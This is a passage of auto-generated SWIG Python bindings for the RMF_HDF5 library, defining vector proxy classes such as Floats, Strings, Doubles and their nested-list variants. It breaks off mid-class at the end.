def pop_back(self): r"""pop_back(Floats self)""" return _RMF_HDF5.Floats_pop_back(self) def erase(self, *args): r""" erase(Floats self, std::vector< float >::iterator pos) -> std::vector< float >::iterator erase(Floats self, std::vector< float >::iterator first, std::vector< float >::iterator last) -> std::vector< float >::iterator """ return _RMF_HDF5.Floats_erase(self, *args) def __init__(self, *args): r""" __init__(Floats self) -> Floats __init__(Floats self, Floats other) -> Floats __init__(Floats self, std::vector< float >::size_type size) -> Floats __init__(Floats self, std::vector< float >::size_type size, std::vector< float >::value_type const & value) -> Floats """ _RMF_HDF5.Floats_swiginit(self, _RMF_HDF5.new_Floats(*args)) def push_back(self, x): r"""push_back(Floats self, std::vector< float >::value_type const & x)""" return _RMF_HDF5.Floats_push_back(self, x) def front(self): r"""front(Floats self) -> std::vector< float >::value_type const &""" return _RMF_HDF5.Floats_front(self) def back(self): r"""back(Floats self) -> std::vector< float >::value_type const &""" return _RMF_HDF5.Floats_back(self) def assign(self, n, x): r"""assign(Floats self, std::vector< float >::size_type n, std::vector< float >::value_type const & x)""" return _RMF_HDF5.Floats_assign(self, n, x) def resize(self, *args): r""" resize(Floats self, std::vector< float >::size_type new_size) resize(Floats self, std::vector< float >::size_type new_size, std::vector< float >::value_type const & x) """ return _RMF_HDF5.Floats_resize(self, *args) def insert(self, *args): r""" insert(Floats self, std::vector< float >::iterator pos, std::vector< float >::value_type const & x) -> std::vector< float >::iterator insert(Floats self, std::vector< float >::iterator pos, std::vector< float >::size_type n, std::vector< float >::value_type const & x) """ return _RMF_HDF5.Floats_insert(self, *args) def reserve(self, n): r"""reserve(Floats self, std::vector< float >::size_type n)""" return _RMF_HDF5.Floats_reserve(self, n) def capacity(self): r"""capacity(Floats self) -> std::vector< float >::size_type""" return _RMF_HDF5.Floats_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_Floats # Register Floats in _RMF_HDF5: _RMF_HDF5.Floats_swigregister(Floats) class Strings(object): r"""Proxy of C++ std::vector< std::string > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(Strings self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.Strings_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(Strings self) -> bool""" return _RMF_HDF5.Strings___nonzero__(self) def __bool__(self): r"""__bool__(Strings self) -> bool""" return _RMF_HDF5.Strings___bool__(self) def __len__(self): r"""__len__(Strings self) -> std::vector< std::string >::size_type""" return _RMF_HDF5.Strings___len__(self) def __getslice__(self, i, j): r"""__getslice__(Strings self, std::vector< std::string >::difference_type i, std::vector< std::string >::difference_type j) -> Strings""" return _RMF_HDF5.Strings___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(Strings self, std::vector< std::string >::difference_type i, std::vector< std::string >::difference_type j) __setslice__(Strings self, std::vector< std::string >::difference_type i, std::vector< std::string >::difference_type j, Strings v) """ return _RMF_HDF5.Strings___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(Strings self, std::vector< std::string >::difference_type i, std::vector< std::string >::difference_type j)""" return _RMF_HDF5.Strings___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(Strings self, std::vector< std::string >::difference_type i) __delitem__(Strings self, PySliceObject * slice) """ return _RMF_HDF5.Strings___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(Strings self, PySliceObject * slice) -> Strings __getitem__(Strings self, std::vector< std::string >::difference_type i) -> std::vector< std::string >::value_type const & """ return _RMF_HDF5.Strings___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(Strings self, PySliceObject * slice, Strings v) __setitem__(Strings self, PySliceObject * slice) __setitem__(Strings self, std::vector< std::string >::difference_type i, std::vector< std::string >::value_type const & x) """ return _RMF_HDF5.Strings___setitem__(self, *args) def pop(self): r"""pop(Strings self) -> std::vector< std::string >::value_type""" return _RMF_HDF5.Strings_pop(self) def append(self, x): r"""append(Strings self, std::vector< std::string >::value_type const & x)""" return _RMF_HDF5.Strings_append(self, x) def empty(self): r"""empty(Strings self) -> bool""" return _RMF_HDF5.Strings_empty(self) def size(self): r"""size(Strings self) -> std::vector< std::string >::size_type""" return _RMF_HDF5.Strings_size(self) def swap(self, v): r"""swap(Strings self, Strings v)""" return _RMF_HDF5.Strings_swap(self, v) def begin(self): r"""begin(Strings self) -> std::vector< std::string >::iterator""" return _RMF_HDF5.Strings_begin(self) def end(self): r"""end(Strings self) -> std::vector< std::string >::iterator""" return _RMF_HDF5.Strings_end(self) def rbegin(self): r"""rbegin(Strings self) -> std::vector< std::string >::reverse_iterator""" return _RMF_HDF5.Strings_rbegin(self) def rend(self): r"""rend(Strings self) -> std::vector< std::string >::reverse_iterator""" return _RMF_HDF5.Strings_rend(self) def clear(self): r"""clear(Strings self)""" return _RMF_HDF5.Strings_clear(self) def get_allocator(self): r"""get_allocator(Strings self) -> std::vector< std::string >::allocator_type""" return _RMF_HDF5.Strings_get_allocator(self) def pop_back(self): r"""pop_back(Strings self)""" return _RMF_HDF5.Strings_pop_back(self) def erase(self, *args): r""" erase(Strings self, std::vector< std::string >::iterator pos) -> std::vector< std::string >::iterator erase(Strings self, std::vector< std::string >::iterator first, std::vector< std::string >::iterator last) -> std::vector< std::string >::iterator """ return _RMF_HDF5.Strings_erase(self, *args) def __init__(self, *args): r""" __init__(Strings self) -> Strings __init__(Strings self, Strings other) -> Strings __init__(Strings self, std::vector< std::string >::size_type size) -> Strings __init__(Strings self, std::vector< std::string >::size_type size, std::vector< std::string >::value_type const & value) -> Strings """ _RMF_HDF5.Strings_swiginit(self, _RMF_HDF5.new_Strings(*args)) def push_back(self, x): r"""push_back(Strings self, std::vector< std::string >::value_type const & x)""" return _RMF_HDF5.Strings_push_back(self, x) def front(self): r"""front(Strings self) -> std::vector< std::string >::value_type const &""" return _RMF_HDF5.Strings_front(self) def back(self): r"""back(Strings self) -> std::vector< std::string >::value_type const &""" return _RMF_HDF5.Strings_back(self) def assign(self, n, x): r"""assign(Strings self, std::vector< std::string >::size_type n, std::vector< std::string >::value_type const & x)""" return _RMF_HDF5.Strings_assign(self, n, x) def resize(self, *args): r""" resize(Strings self, std::vector< std::string >::size_type new_size) resize(Strings self, std::vector< std::string >::size_type new_size, std::vector< std::string >::value_type const & x) """ return _RMF_HDF5.Strings_resize(self, *args) def insert(self, *args): r""" insert(Strings self, std::vector< std::string >::iterator pos, std::vector< std::string >::value_type const & x) -> std::vector< std::string >::iterator insert(Strings self, std::vector< std::string >::iterator pos, std::vector< std::string >::size_type n, std::vector< std::string >::value_type const & x) """ return _RMF_HDF5.Strings_insert(self, *args) def reserve(self, n): r"""reserve(Strings self, std::vector< std::string >::size_type n)""" return _RMF_HDF5.Strings_reserve(self, n) def capacity(self): r"""capacity(Strings self) -> std::vector< std::string >::size_type""" return _RMF_HDF5.Strings_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_Strings # Register Strings in _RMF_HDF5: _RMF_HDF5.Strings_swigregister(Strings) class Doubles(object): r"""Proxy of C++ std::vector< double > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(Doubles self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.Doubles_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(Doubles self) -> bool""" return _RMF_HDF5.Doubles___nonzero__(self) def __bool__(self): r"""__bool__(Doubles self) -> bool""" return _RMF_HDF5.Doubles___bool__(self) def __len__(self): r"""__len__(Doubles self) -> std::vector< double >::size_type""" return _RMF_HDF5.Doubles___len__(self) def __getslice__(self, i, j): r"""__getslice__(Doubles self, std::vector< double >::difference_type i, std::vector< double >::difference_type j) -> Doubles""" return _RMF_HDF5.Doubles___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(Doubles self, std::vector< double >::difference_type i, std::vector< double >::difference_type j) __setslice__(Doubles self, std::vector< double >::difference_type i, std::vector< double >::difference_type j, Doubles v) """ return _RMF_HDF5.Doubles___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(Doubles self, std::vector< double >::difference_type i, std::vector< double >::difference_type j)""" return _RMF_HDF5.Doubles___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(Doubles self, std::vector< double >::difference_type i) __delitem__(Doubles self, PySliceObject * slice) """ return _RMF_HDF5.Doubles___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(Doubles self, PySliceObject * slice) -> Doubles __getitem__(Doubles self, std::vector< double >::difference_type i) -> std::vector< double >::value_type const & """ return _RMF_HDF5.Doubles___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(Doubles self, PySliceObject * slice, Doubles v) __setitem__(Doubles self, PySliceObject * slice) __setitem__(Doubles self, std::vector< double >::difference_type i, std::vector< double >::value_type const & x) """ return _RMF_HDF5.Doubles___setitem__(self, *args) def pop(self): r"""pop(Doubles self) -> std::vector< double >::value_type""" return _RMF_HDF5.Doubles_pop(self) def append(self, x): r"""append(Doubles self, std::vector< double >::value_type const & x)""" return _RMF_HDF5.Doubles_append(self, x) def empty(self): r"""empty(Doubles self) -> bool""" return _RMF_HDF5.Doubles_empty(self) def size(self): r"""size(Doubles self) -> std::vector< double >::size_type""" return _RMF_HDF5.Doubles_size(self) def swap(self, v): r"""swap(Doubles self, Doubles v)""" return _RMF_HDF5.Doubles_swap(self, v) def begin(self): r"""begin(Doubles self) -> std::vector< double >::iterator""" return _RMF_HDF5.Doubles_begin(self) def end(self): r"""end(Doubles self) -> std::vector< double >::iterator""" return _RMF_HDF5.Doubles_end(self) def rbegin(self): r"""rbegin(Doubles self) -> std::vector< double >::reverse_iterator""" return _RMF_HDF5.Doubles_rbegin(self) def rend(self): r"""rend(Doubles self) -> std::vector< double >::reverse_iterator""" return _RMF_HDF5.Doubles_rend(self) def clear(self): r"""clear(Doubles self)""" return _RMF_HDF5.Doubles_clear(self) def get_allocator(self): r"""get_allocator(Doubles self) -> std::vector< double >::allocator_type""" return _RMF_HDF5.Doubles_get_allocator(self) def pop_back(self): r"""pop_back(Doubles self)""" return _RMF_HDF5.Doubles_pop_back(self) def erase(self, *args): r""" erase(Doubles self, std::vector< double >::iterator pos) -> std::vector< double >::iterator erase(Doubles self, std::vector< double >::iterator first, std::vector< double >::iterator last) -> std::vector< double >::iterator """ return _RMF_HDF5.Doubles_erase(self, *args) def __init__(self, *args): r""" __init__(Doubles self) -> Doubles __init__(Doubles self, Doubles other) -> Doubles __init__(Doubles self, std::vector< double >::size_type size) -> Doubles __init__(Doubles self, std::vector< double >::size_type size, std::vector< double >::value_type const & value) -> Doubles """ _RMF_HDF5.Doubles_swiginit(self, _RMF_HDF5.new_Doubles(*args)) def push_back(self, x): r"""push_back(Doubles self, std::vector< double >::value_type const & x)""" return _RMF_HDF5.Doubles_push_back(self, x) def front(self): r"""front(Doubles self) -> std::vector< double >::value_type const &""" return _RMF_HDF5.Doubles_front(self) def back(self): r"""back(Doubles self) -> std::vector< double >::value_type const &""" return _RMF_HDF5.Doubles_back(self) def assign(self, n, x): r"""assign(Doubles self, std::vector< double >::size_type n, std::vector< double >::value_type const & x)""" return _RMF_HDF5.Doubles_assign(self, n, x) def resize(self, *args): r""" resize(Doubles self, std::vector< double >::size_type new_size) resize(Doubles self, std::vector< double >::size_type new_size, std::vector< double >::value_type const & x) """ return _RMF_HDF5.Doubles_resize(self, *args) def insert(self, *args): r""" insert(Doubles self, std::vector< double >::iterator pos, std::vector< double >::value_type const & x) -> std::vector< double >::iterator insert(Doubles self, std::vector< double >::iterator pos, std::vector< double >::size_type n, std::vector< double >::value_type const & x) """ return _RMF_HDF5.Doubles_insert(self, *args) def reserve(self, n): r"""reserve(Doubles self, std::vector< double >::size_type n)""" return _RMF_HDF5.Doubles_reserve(self, n) def capacity(self): r"""capacity(Doubles self) -> std::vector< double >::size_type""" return _RMF_HDF5.Doubles_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_Doubles # Register Doubles in _RMF_HDF5: _RMF_HDF5.Doubles_swigregister(Doubles) class IntsList(object): r"""Proxy of C++ std::vector< std::vector< int > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(IntsList self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.IntsList_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(IntsList self) -> bool""" return _RMF_HDF5.IntsList___nonzero__(self) def __bool__(self): r"""__bool__(IntsList self) -> bool""" return _RMF_HDF5.IntsList___bool__(self) def __len__(self): r"""__len__(IntsList self) -> std::vector< std::vector< int > >::size_type""" return _RMF_HDF5.IntsList___len__(self) def __getslice__(self, i, j): r"""__getslice__(IntsList self, std::vector< std::vector< int > >::difference_type i, std::vector< std::vector< int > >::difference_type j) -> IntsList""" return _RMF_HDF5.IntsList___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(IntsList self, std::vector< std::vector< int > >::difference_type i, std::vector< std::vector< int > >::difference_type j) __setslice__(IntsList self, std::vector< std::vector< int > >::difference_type i, std::vector< std::vector< int > >::difference_type j, IntsList v) """ return _RMF_HDF5.IntsList___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(IntsList self, std::vector< std::vector< int > >::difference_type i, std::vector< std::vector< int > >::difference_type j)""" return _RMF_HDF5.IntsList___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(IntsList self, std::vector< std::vector< int > >::difference_type i) __delitem__(IntsList self, PySliceObject * slice) """ return _RMF_HDF5.IntsList___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(IntsList self, PySliceObject * slice) -> IntsList __getitem__(IntsList self, std::vector< std::vector< int > >::difference_type i) -> Ints """ return _RMF_HDF5.IntsList___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(IntsList self, PySliceObject * slice, IntsList v) __setitem__(IntsList self, PySliceObject * slice) __setitem__(IntsList self, std::vector< std::vector< int > >::difference_type i, Ints x) """ return _RMF_HDF5.IntsList___setitem__(self, *args) def pop(self): r"""pop(IntsList self) -> Ints""" return _RMF_HDF5.IntsList_pop(self) def append(self, x): r"""append(IntsList self, Ints x)""" return _RMF_HDF5.IntsList_append(self, x) def empty(self): r"""empty(IntsList self) -> bool""" return _RMF_HDF5.IntsList_empty(self) def size(self): r"""size(IntsList self) -> std::vector< std::vector< int > >::size_type""" return _RMF_HDF5.IntsList_size(self) def swap(self, v): r"""swap(IntsList self, IntsList v)""" return _RMF_HDF5.IntsList_swap(self, v) def begin(self): r"""begin(IntsList self) -> std::vector< std::vector< int > >::iterator""" return _RMF_HDF5.IntsList_begin(self) def end(self): r"""end(IntsList self) -> std::vector< std::vector< int > >::iterator""" return _RMF_HDF5.IntsList_end(self) def rbegin(self): r"""rbegin(IntsList self) -> std::vector< std::vector< int > >::reverse_iterator""" return _RMF_HDF5.IntsList_rbegin(self) def rend(self): r"""rend(IntsList self) -> std::vector< std::vector< int > >::reverse_iterator""" return _RMF_HDF5.IntsList_rend(self) def clear(self): r"""clear(IntsList self)""" return _RMF_HDF5.IntsList_clear(self) def get_allocator(self): r"""get_allocator(IntsList self) -> std::vector< std::vector< int > >::allocator_type""" return _RMF_HDF5.IntsList_get_allocator(self) def pop_back(self): r"""pop_back(IntsList self)""" return _RMF_HDF5.IntsList_pop_back(self) def erase(self, *args): r""" erase(IntsList self, std::vector< std::vector< int > >::iterator pos) -> std::vector< std::vector< int > >::iterator erase(IntsList self, std::vector< std::vector< int > >::iterator first, std::vector< std::vector< int > >::iterator last) -> std::vector< std::vector< int > >::iterator """ return _RMF_HDF5.IntsList_erase(self, *args) def __init__(self, *args): r""" __init__(IntsList self) -> IntsList __init__(IntsList self, IntsList other) -> IntsList __init__(IntsList self, std::vector< std::vector< int > >::size_type size) -> IntsList __init__(IntsList self, std::vector< std::vector< int > >::size_type size, Ints value) -> IntsList """ _RMF_HDF5.IntsList_swiginit(self, _RMF_HDF5.new_IntsList(*args)) def push_back(self, x): r"""push_back(IntsList self, Ints x)""" return _RMF_HDF5.IntsList_push_back(self, x) def front(self): r"""front(IntsList self) -> Ints""" return _RMF_HDF5.IntsList_front(self) def back(self): r"""back(IntsList self) -> Ints""" return _RMF_HDF5.IntsList_back(self) def assign(self, n, x): r"""assign(IntsList self, std::vector< std::vector< int > >::size_type n, Ints x)""" return _RMF_HDF5.IntsList_assign(self, n, x) def resize(self, *args): r""" resize(IntsList self, std::vector< std::vector< int > >::size_type new_size) resize(IntsList self, std::vector< std::vector< int > >::size_type new_size, Ints x) """ return _RMF_HDF5.IntsList_resize(self, *args) def insert(self, *args): r""" insert(IntsList self, std::vector< std::vector< int > >::iterator pos, Ints x) -> std::vector< std::vector< int > >::iterator insert(IntsList self, std::vector< std::vector< int > >::iterator pos, std::vector< std::vector< int > >::size_type n, Ints x) """ return _RMF_HDF5.IntsList_insert(self, *args) def reserve(self, n): r"""reserve(IntsList self, std::vector< std::vector< int > >::size_type n)""" return _RMF_HDF5.IntsList_reserve(self, n) def capacity(self): r"""capacity(IntsList self) -> std::vector< std::vector< int > >::size_type""" return _RMF_HDF5.IntsList_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_IntsList # Register IntsList in _RMF_HDF5: _RMF_HDF5.IntsList_swigregister(IntsList) class FloatsList(object): r"""Proxy of C++ std::vector< std::vector< float > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(FloatsList self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.FloatsList_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(FloatsList self) -> bool""" return _RMF_HDF5.FloatsList___nonzero__(self) def __bool__(self): r"""__bool__(FloatsList self) -> bool""" return _RMF_HDF5.FloatsList___bool__(self) def __len__(self): r"""__len__(FloatsList self) -> std::vector< std::vector< float > >::size_type""" return _RMF_HDF5.FloatsList___len__(self) def __getslice__(self, i, j): r"""__getslice__(FloatsList self, std::vector< std::vector< float > >::difference_type i, std::vector< std::vector< float > >::difference_type j) -> FloatsList""" return _RMF_HDF5.FloatsList___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(FloatsList self, std::vector< std::vector< float > >::difference_type i, std::vector< std::vector< float > >::difference_type j) __setslice__(FloatsList self, std::vector< std::vector< float > >::difference_type i, std::vector< std::vector< float > >::difference_type j, FloatsList v) """ return _RMF_HDF5.FloatsList___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(FloatsList self, std::vector< std::vector< float > >::difference_type i, std::vector< std::vector< float > >::difference_type j)""" return _RMF_HDF5.FloatsList___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(FloatsList self, std::vector< std::vector< float > >::difference_type i) __delitem__(FloatsList self, PySliceObject * slice) """ return _RMF_HDF5.FloatsList___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(FloatsList self, PySliceObject * slice) -> FloatsList __getitem__(FloatsList self, std::vector< std::vector< float > >::difference_type i) -> Floats """ return _RMF_HDF5.FloatsList___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(FloatsList self, PySliceObject * slice, FloatsList v) __setitem__(FloatsList self, PySliceObject * slice) __setitem__(FloatsList self, std::vector< std::vector< float > >::difference_type i, Floats x) """ return _RMF_HDF5.FloatsList___setitem__(self, *args) def pop(self): r"""pop(FloatsList self) -> Floats""" return _RMF_HDF5.FloatsList_pop(self) def append(self, x): r"""append(FloatsList self, Floats x)""" return _RMF_HDF5.FloatsList_append(self, x) def empty(self): r"""empty(FloatsList self) -> bool""" return _RMF_HDF5.FloatsList_empty(self) def size(self): r"""size(FloatsList self) -> std::vector< std::vector< float > >::size_type""" return _RMF_HDF5.FloatsList_size(self) def swap(self, v): r"""swap(FloatsList self, FloatsList v)""" return _RMF_HDF5.FloatsList_swap(self, v) def begin(self): r"""begin(FloatsList self) -> std::vector< std::vector< float > >::iterator""" return _RMF_HDF5.FloatsList_begin(self) def end(self): r"""end(FloatsList self) -> std::vector< std::vector< float > >::iterator""" return _RMF_HDF5.FloatsList_end(self) def rbegin(self): r"""rbegin(FloatsList self) -> std::vector< std::vector< float > >::reverse_iterator""" return _RMF_HDF5.FloatsList_rbegin(self) def rend(self): r"""rend(FloatsList self) -> std::vector< std::vector< float > >::reverse_iterator""" return _RMF_HDF5.FloatsList_rend(self) def clear(self): r"""clear(FloatsList self)""" return _RMF_HDF5.FloatsList_clear(self) def get_allocator(self): r"""get_allocator(FloatsList self) -> std::vector< std::vector< float > >::allocator_type""" return _RMF_HDF5.FloatsList_get_allocator(self) def pop_back(self): r"""pop_back(FloatsList self)""" return _RMF_HDF5.FloatsList_pop_back(self) def erase(self, *args): r""" erase(FloatsList self, std::vector< std::vector< float > >::iterator pos) -> std::vector< std::vector< float > >::iterator erase(FloatsList self, std::vector< std::vector< float > >::iterator first, std::vector< std::vector< float > >::iterator last) -> std::vector< std::vector< float > >::iterator """ return _RMF_HDF5.FloatsList_erase(self, *args) def __init__(self, *args): r""" __init__(FloatsList self) -> FloatsList __init__(FloatsList self, FloatsList other) -> FloatsList __init__(FloatsList self, std::vector< std::vector< float > >::size_type size) -> FloatsList __init__(FloatsList self, std::vector< std::vector< float > >::size_type size, Floats value) -> FloatsList """ _RMF_HDF5.FloatsList_swiginit(self, _RMF_HDF5.new_FloatsList(*args)) def push_back(self, x): r"""push_back(FloatsList self, Floats x)""" return _RMF_HDF5.FloatsList_push_back(self, x) def front(self): r"""front(FloatsList self) -> Floats""" return _RMF_HDF5.FloatsList_front(self) def back(self): r"""back(FloatsList self) -> Floats""" return _RMF_HDF5.FloatsList_back(self) def assign(self, n, x): r"""assign(FloatsList self, std::vector< std::vector< float > >::size_type n, Floats x)""" return _RMF_HDF5.FloatsList_assign(self, n, x) def resize(self, *args): r""" resize(FloatsList self, std::vector< std::vector< float > >::size_type new_size) resize(FloatsList self, std::vector< std::vector< float > >::size_type new_size, Floats x) """ return _RMF_HDF5.FloatsList_resize(self, *args) def insert(self, *args): r""" insert(FloatsList self, std::vector< std::vector< float > >::iterator pos, Floats x) -> std::vector< std::vector< float > >::iterator insert(FloatsList self, std::vector< std::vector< float > >::iterator pos, std::vector< std::vector< float > >::size_type n, Floats x) """ return _RMF_HDF5.FloatsList_insert(self, *args) def reserve(self, n): r"""reserve(FloatsList self, std::vector< std::vector< float > >::size_type n)""" return _RMF_HDF5.FloatsList_reserve(self, n) def capacity(self): r"""capacity(FloatsList self) -> std::vector< std::vector< float > >::size_type""" return _RMF_HDF5.FloatsList_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_FloatsList # Register FloatsList in _RMF_HDF5: _RMF_HDF5.FloatsList_swigregister(FloatsList) class StringsList(object): r"""Proxy of C++ std::vector< std::vector< std::string > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(StringsList self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.StringsList_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(StringsList self) -> bool""" return _RMF_HDF5.StringsList___nonzero__(self) def __bool__(self): r"""__bool__(StringsList self) -> bool""" return _RMF_HDF5.StringsList___bool__(self) def __len__(self): r"""__len__(StringsList self) -> std::vector< std::vector< std::string > >::size_type""" return _RMF_HDF5.StringsList___len__(self) def __getslice__(self, i, j): r"""__getslice__(StringsList self, std::vector< std::vector< std::string > >::difference_type i, std::vector< std::vector< std::string > >::difference_type j) -> StringsList""" return _RMF_HDF5.StringsList___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(StringsList self, std::vector< std::vector< std::string > >::difference_type i, std::vector< std::vector< std::string > >::difference_type j) __setslice__(StringsList self, std::vector< std::vector< std::string > >::difference_type i, std::vector< std::vector< std::string > >::difference_type j, StringsList v) """ return _RMF_HDF5.StringsList___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(StringsList self, std::vector< std::vector< std::string > >::difference_type i, std::vector< std::vector< std::string > >::difference_type j)""" return _RMF_HDF5.StringsList___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(StringsList self, std::vector< std::vector< std::string > >::difference_type i) __delitem__(StringsList self, PySliceObject * slice) """ return _RMF_HDF5.StringsList___delitem__(self, *args) def __getitem__(self, *args): r""" __getitem__(StringsList self, PySliceObject * slice) -> StringsList __getitem__(StringsList self, std::vector< std::vector< std::string > >::difference_type i) -> Strings """ return _RMF_HDF5.StringsList___getitem__(self, *args) def __setitem__(self, *args): r""" __setitem__(StringsList self, PySliceObject * slice, StringsList v) __setitem__(StringsList self, PySliceObject * slice) __setitem__(StringsList self, std::vector< std::vector< std::string > >::difference_type i, Strings x) """ return _RMF_HDF5.StringsList___setitem__(self, *args) def pop(self): r"""pop(StringsList self) -> Strings""" return _RMF_HDF5.StringsList_pop(self) def append(self, x): r"""append(StringsList self, Strings x)""" return _RMF_HDF5.StringsList_append(self, x) def empty(self): r"""empty(StringsList self) -> bool""" return _RMF_HDF5.StringsList_empty(self) def size(self): r"""size(StringsList self) -> std::vector< std::vector< std::string > >::size_type""" return _RMF_HDF5.StringsList_size(self) def swap(self, v): r"""swap(StringsList self, StringsList v)""" return _RMF_HDF5.StringsList_swap(self, v) def begin(self): r"""begin(StringsList self) -> std::vector< std::vector< std::string > >::iterator""" return _RMF_HDF5.StringsList_begin(self) def end(self): r"""end(StringsList self) -> std::vector< std::vector< std::string > >::iterator""" return _RMF_HDF5.StringsList_end(self) def rbegin(self): r"""rbegin(StringsList self) -> std::vector< std::vector< std::string > >::reverse_iterator""" return _RMF_HDF5.StringsList_rbegin(self) def rend(self): r"""rend(StringsList self) -> std::vector< std::vector< std::string > >::reverse_iterator""" return _RMF_HDF5.StringsList_rend(self) def clear(self): r"""clear(StringsList self)""" return _RMF_HDF5.StringsList_clear(self) def get_allocator(self): r"""get_allocator(StringsList self) -> std::vector< std::vector< std::string > >::allocator_type""" return _RMF_HDF5.StringsList_get_allocator(self) def pop_back(self): r"""pop_back(StringsList self)""" return _RMF_HDF5.StringsList_pop_back(self) def erase(self, *args): r""" erase(StringsList self, std::vector< std::vector< std::string > >::iterator pos) -> std::vector< std::vector< std::string > >::iterator erase(StringsList self, std::vector< std::vector< std::string > >::iterator first, std::vector< std::vector< std::string > >::iterator last) -> std::vector< std::vector< std::string > >::iterator """ return _RMF_HDF5.StringsList_erase(self, *args) def __init__(self, *args): r""" __init__(StringsList self) -> StringsList __init__(StringsList self, StringsList other) -> StringsList __init__(StringsList self, std::vector< std::vector< std::string > >::size_type size) -> StringsList __init__(StringsList self, std::vector< std::vector< std::string > >::size_type size, Strings value) -> StringsList """ _RMF_HDF5.StringsList_swiginit(self, _RMF_HDF5.new_StringsList(*args)) def push_back(self, x): r"""push_back(StringsList self, Strings x)""" return _RMF_HDF5.StringsList_push_back(self, x) def front(self): r"""front(StringsList self) -> Strings""" return _RMF_HDF5.StringsList_front(self) def back(self): r"""back(StringsList self) -> Strings""" return _RMF_HDF5.StringsList_back(self) def assign(self, n, x): r"""assign(StringsList self, std::vector< std::vector< std::string > >::size_type n, Strings x)""" return _RMF_HDF5.StringsList_assign(self, n, x) def resize(self, *args): r""" resize(StringsList self, std::vector< std::vector< std::string > >::size_type new_size) resize(StringsList self, std::vector< std::vector< std::string > >::size_type new_size, Strings x) """ return _RMF_HDF5.StringsList_resize(self, *args) def insert(self, *args): r""" insert(StringsList self, std::vector< std::vector< std::string > >::iterator pos, Strings x) -> std::vector< std::vector< std::string > >::iterator insert(StringsList self, std::vector< std::vector< std::string > >::iterator pos, std::vector< std::vector< std::string > >::size_type n, Strings x) """ return _RMF_HDF5.StringsList_insert(self, *args) def reserve(self, n): r"""reserve(StringsList self, std::vector< std::vector< std::string > >::size_type n)""" return _RMF_HDF5.StringsList_reserve(self, n) def capacity(self): r"""capacity(StringsList self) -> std::vector< std::vector< std::string > >::size_type""" return _RMF_HDF5.StringsList_capacity(self) __swig_destroy__ = _RMF_HDF5.delete_StringsList # Register StringsList in _RMF_HDF5: _RMF_HDF5.StringsList_swigregister(StringsList) class DoublesList(object): r"""Proxy of C++ std::vector< std::vector< double > > class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") __repr__ = _swig_repr def iterator(self): r"""iterator(DoublesList self) -> RMF_HDF5_SwigPyIterator""" return _RMF_HDF5.DoublesList_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): r"""__nonzero__(DoublesList self) -> bool""" return _RMF_HDF5.DoublesList___nonzero__(self) def __bool__(self): r"""__bool__(DoublesList self) -> bool""" return _RMF_HDF5.DoublesList___bool__(self) def __len__(self): r"""__len__(DoublesList self) -> std::vector< std::vector< double > >::size_type""" return _RMF_HDF5.DoublesList___len__(self) def __getslice__(self, i, j): r"""__getslice__(DoublesList self, std::vector< std::vector< double > >::difference_type i, std::vector< std::vector< double > >::difference_type j) -> DoublesList""" return _RMF_HDF5.DoublesList___getslice__(self, i, j) def __setslice__(self, *args): r""" __setslice__(DoublesList self, std::vector< std::vector< double > >::difference_type i, std::vector< std::vector< double > >::difference_type j) __setslice__(DoublesList self, std::vector< std::vector< double > >::difference_type i, std::vector< std::vector< double > >::difference_type j, DoublesList v) """ return _RMF_HDF5.DoublesList___setslice__(self, *args) def __delslice__(self, i, j): r"""__delslice__(DoublesList self, std::vector< std::vector< double > >::difference_type i, std::vector< std::vector< double > >::difference_type j)""" return _RMF_HDF5.DoublesList___delslice__(self, i, j) def __delitem__(self, *args): r""" __delitem__(DoublesList 